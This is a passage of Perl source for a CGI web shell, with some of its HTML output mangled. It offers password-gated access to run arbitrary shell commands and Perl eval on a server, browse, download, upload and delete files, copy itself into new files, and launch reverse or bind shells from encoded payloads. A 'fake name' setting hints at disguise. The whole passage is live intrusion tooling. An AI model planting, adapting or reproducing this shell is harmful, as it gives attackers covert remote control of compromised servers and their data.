"; } return $letters; } sub urlencode($){ my $str = shift; $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; return $str; } sub urldecode($){ my $str = shift; $str =~ s/\%([A-Fa-f0-9]{2})/pack('C', hex($1))/seg; return $str; } sub xparsedir($){ my $dir = shift; $xSlash = &DIRECTORY_SEPARATOR(); if(&is_win()){ @dirs = split /\\/,$dir; } else { @dirs = split /\//,$dir; } $buff = ""; $dlink = ""; if(!&is_win()) { $dlink .= &urlencode($xSlash); $buff .= "".$xSlash." "; } foreach $d (@dirs){ $d = &trim($d); if($d ne ""){ $dlink .= &urlencode($d.$xSlash); $buff .= "".$d." ".$xSlash." "; } } return "[ ".$buff." ]"; } sub xparentfolder($){ my $path = shift; $xSlash = &DIRECTORY_SEPARATOR(); $path = &xcleanpath($path); $path1 = substr($path,0,rindex($path,$xSlash)); $path2 = substr($path1,0,rindex($path1,$xSlash)); if((-d $path2) || (rindex($path1,$xSlash) == 0)){ return $path2.$xSlash; } else{ return $path1.$xSlash; } } sub ekse($){ my $cmd = shift; return `$cmd`; } sub xeval($){ my $code = shift; $cod = $code; $code =~ s/\"/\\\"/g; my $whichperl = &trim(&ekse("which perl")); if($whichperl eq ""){ $con = &xfileopen($ENV{'SCRIPT_FILENAME'},1); if($con =~ /^#!(.*)/){ $whichperl = &trim($1); } } $result = ""; if($whichperl ne ""){ $result = &ekse($whichperl." -e \"".$code."\""); } if($result ne ""){ return $result; } else{ print "Content-type: text/html\n\n"; eval($cod); exit(1); } } sub xdir($){ my $path = shift; $path = &trim(&xcleanpath($path)); if(-d $path){ @fname = (); @dname = (); if(opendir(DIR,$path)){ while($file = readdir(DIR)){ if(-d $file){ push(@dname,$file); } else{ push(@fname,$file); } } closedir(DIR); } @fname = sort { lc($a) cmp lc($b) } @fname; @dname = sort { lc($a) cmp lc($b) } @dname; $buff = "
| Filename | Filesize | Permission | Last Modified | Action |
|---|---|---|---|---|
| [ ".$sd." ] | "; $buff .= "DIR | "; $buff .= "".&xfileperms($sd)." | "; $buff .= "".&xfilelastmodified($sd)." | "; $buff .= "Properties | Remove | "; $buff .= "
| ".$sf." | "; $buff .= "".&xparsefilesize(&xfilesize($f))." | "; $buff .= "".&xfileperms($f)." | "; $buff .= "".&xfilelastmodified($f)." | "; $buff .= "Edit | Download | Remove | "; $buff .= "
$1/g; return $text; } sub b64decode { local ($_) = @_; local ($result); eval qq{ tr|$tr_base64||cd; tr|$tr_base64|$tr_uuencode|; }; while (s/^(.{60})//) { $result .= unpack("u", "M" . $&); } if ($_ ne "") { $result .= unpack("u", substr($uuencode_alphabet, length($_)*3/4, 1) . $_); } return $result; } sub b64encode { local ($_) = @_; local ($chunk); local ($result); while (s/^((.|\n){45})//) { $chunk = substr(pack("u", $&), $[+1, 60); eval qq{ \$chunk =~ tr|$tr_uuencode|$tr_base64|; }; $result .= $chunk . "\n"; } if ($_ ne "") { $chunk = substr(pack("u", $_), $[+1, int((length($_)+2)/3)*4 - (45-length($_))%3); eval qq{ \$chunk =~ tr|$tr_uuencode|$tr_base64|; }; $result .= $chunk . ($base64_pad x ((60 - length($chunk)) % 4)) . "\n"; } $result; } ################# INIT GOES HERE #######################==================================================] my %_VAR = &init_cgi; my %_COOKIE = &init_cookie(); my $xCwd = &xcleanpath($ENV{'SCRIPT_FILENAME'}); my $auth = 0; my $cmdeval = ""; chdir($xCwd); if(defined($_VAR{'passw'})){ $check = &trim($_VAR{'passw'}); $fut_time=gmtime(time()+3600*24*7)." GMT"; $fut_time_=gmtime(time()-3600*24*7)." GMT"; if($check eq $shell_password){ $cookie = "pass=".$check."; path=/; expires=".$fut_time.";"; $m = $ENV{'SCRIPT_NAME'}; print "Set-Cookie: " . $cookie . "\n"; $auth = 1; } else { $cookie = "pass=".$check."; path=/; expires=".$fut_time_.";"; print "Set-Cookie: " . $cookie . "\n"; } } $check = ""; if(defined($_COOKIE{'pass'})) { $check = &trim($_COOKIE{'pass'}); } if($check eq $shell_password){ $auth = 1; } if(defined($_VAR{'img'})){ $file = &trim($_VAR{'img'}); if(-f $file){ print "Content-type: image/jpeg\n\n"; binmode STDOUT; print &xfileopen($file,1); exit; } else{ $img = ${"$file"}; print "Content-type: image/png\n\n"; binmode STDOUT; print &b64decode($img); exit; } } if(defined($_VAR{'get'}) && ($_VAR{'get'} ne "")){ $file = $_VAR{'get'}; $filez = &xfileopen($file,1); print "Content-type: application/octet-stream\n"; print "Content-Disposition: attachment;filename=\"".&basename($file)."\"\n\n"; binmode STDOUT; print $filez; exit; } if(defined($_VAR{'btnConnect'})){ $port = $_VAR{'bportC'}; $dir = &xcleanpath($_VAR{'dir'}); if(&is_win()) { $base64 = $wBind; } else { $base64 = $xBack; } if(&xrunexploit($dir,$base64,$port,"connect")){ } } elsif(defined($_VAR{'btnListen'})){ $port = $_VAR{'lportC'}; $dir = &xcleanpath($_VAR{'dir'}); if(&is_win()){ $base64 = $wBind; } else{ $base64 = $xBind; } if(&xrunexploit($dir,$base64,$port,"listen")){ } } if(defined($_VAR{'dir'}) && ($_VAR{'dir'} ne "")){ $newdir = &xcleanpath(&trim($_VAR{'dir'})); if(defined($_VAR{'oldfilename'}) && ($_VAR{'oldfilename'} ne "")){ $newdir = &dirname(&trim($_VAR{'properties'})); } if(defined($_VAR{'btnNewUploadLocal'})){ $filecon = $_VAR{'filelocal'}; if(defined($_VAR{'filename'})){ $filename = &trim($_VAR{'filename'}); if($filename eq ""){ $filename = $_VAR{'uploadname'}; } } else{ $filename = &trim($_VAR{'uploadname'}); } &xfilesave($newdir.$filename,$filecon); print "Content-type: text/html\n\n"; print $newdir.$filename; } if(-d $newdir){ chdir($newdir); $xCwd = $newdir; } else{ $newdir = &dirname($newdir); if(-d $newdir){ chdir($newdir); $xCwd = $newdir; } } if(defined($_VAR{'foldername'}) && ($_VAR{'foldername'} ne "")){ $fname = &xcleanpath($_VAR{'foldername'}); mkdir($newdir.$fname); } elsif(defined($_VAR{'del'}) && ($_VAR{'del'} ne "")){ $fdel = $_VAR{'del'}; if(-f $fdel){ unlink($fdel); } elsif(-d $fdel){ &xrmdir($fdel); $newdir = xparentfolder($newdir); } } elsif(defined($_VAR{'childname'}) && ($_VAR{'childname'} ne "")){ $childname = $newdir.&trim($_VAR{'childname'}); $con = &xfileopen($ENV{'SCRIPT_FILENAME'},1); &xfilesave($childname,$con); } } if(defined($_VAR{'cmd'}) && ($_VAR{'cmd'} ne "")){ $cmd = $_VAR{'cmd'}; $xCwd = &trim($_VAR{'dir'}); if($cmd =~ m/^cd(.*)$/i){ $newdir = &trim($1); if($newdir eq ".."){ $newdir = &xparentfolder($xCwd); } elsif($newdir eq "."){ $newdir = $xCwd; } elsif($newdir =~ m/:/){ $newdir = $newdir; } else{ $newdir = $xCwd.$newdir; } if(-e $newdir) { chdir($newdir); $xCwd = $newdir; } $result = &xdir($xCwd); } elsif($cmd =~ m/^(\w{1}:.*)$/i){ $newdir = &trim($1); if(-e $newdir){ chdir($newdir); $xCwd = $newdir; } $result = &xdir($xCwd); } else { $result = &ekse($cmd); if($result ne "") { $result = &htmlspecialchars($result); $result =~ s/ / /g; $result = &nl2br($result); } else { $result = &xdir($xCwd); } } } elsif(defined($_VAR{'eval'}) && ($_VAR{'eval'} ne "")){ $cmdeval = $_VAR{'eval'}; $result = &htmlspecialchars(&xeval($_VAR{'eval'})); } elsif(defined($_VAR{'properties'}) && ($_VAR{'properties'} ne "")){ $fname = &trim($_VAR{'properties'}); $dir = &trim($_VAR{'dir'}); if(defined($_VAR{'oldfilename'}) && ($_VAR{'oldfilename'} ne "")){ $oldname = &trim($_VAR{'oldfilename'}); rename($oldname,$fname); } $fcont = ""; $fview = ""; if(-d $fname){ $fsize = "DIR"; $fcont = &xdir($fname); $faction = "Properties | Remove"; } else{ $fname = trimslashes($fname); $fsize = &xparsefilesize(&xfilesize($fname))." ( ".&xfilesize($fname)." bytes )"; $type = "text"; if(defined($_VAR{'type'})){ $type = &trim($_VAR{'type'}); } if($type eq 'img'){ $imglink = ""; $fcont = "
".$imglink."![\"\"](\"?img=".$fname."\")
";
}
else {
$code = &htmlspecialchars(&xfileopen($fname,0));
$fcont = "".&nl2br($code)."
";
}
$faction = "Edit | Download | Remove";
$fview = "[ text ][ image ]";
}
$fowner = &xfileowner($fname);
$fperm = &xfileperms($fname);
@month = qw/Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec/;
($la,$lm,$lc) = (stat($fname))[8,9,10];
($d,$m,$y,$h,$i) = (localtime($lm))[3,4,5,2,1];
$y = $y + 1900;
$lmtime = sprintf("%02d-%s-%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
$y = $y + 1900;
$latime = sprintf("%02d-%s-%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
($d,$m,$y,$h,$i) = (localtime($lc))[3,4,5,2,1];
$y = $y + 1900;
$ctime = sprintf("%02d-%s-%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
$result = "".&xfilesummary($file)."".$msg."
"; } else{ $result = &xdir($xCwd); } ################# Finalizing #######################======================================================] $xCwd = xcleanpath($xCwd); if($auth){ if(defined($_VAR{'bportC'})) { $bportC = $_VAR{'bportC'}; } else { $bportC = $shell_fav_port; } if(defined($_VAR{'lportC'})) { $lportC = $_VAR{'lportC'}; } else { $lportC = $shell_fav_port; } $html_title = $shell_title." ".$xCwd; $html_head = "".$shell_title."
".$xHeader."
".&xdrive()."
".&xparsedir($xCwd)."
".$result."
".$shell_fake_name."
".$html_body."
";
print "Content-type: text/html\n\n";
$html_final =~ s/\s+/ /g;
print $html_final;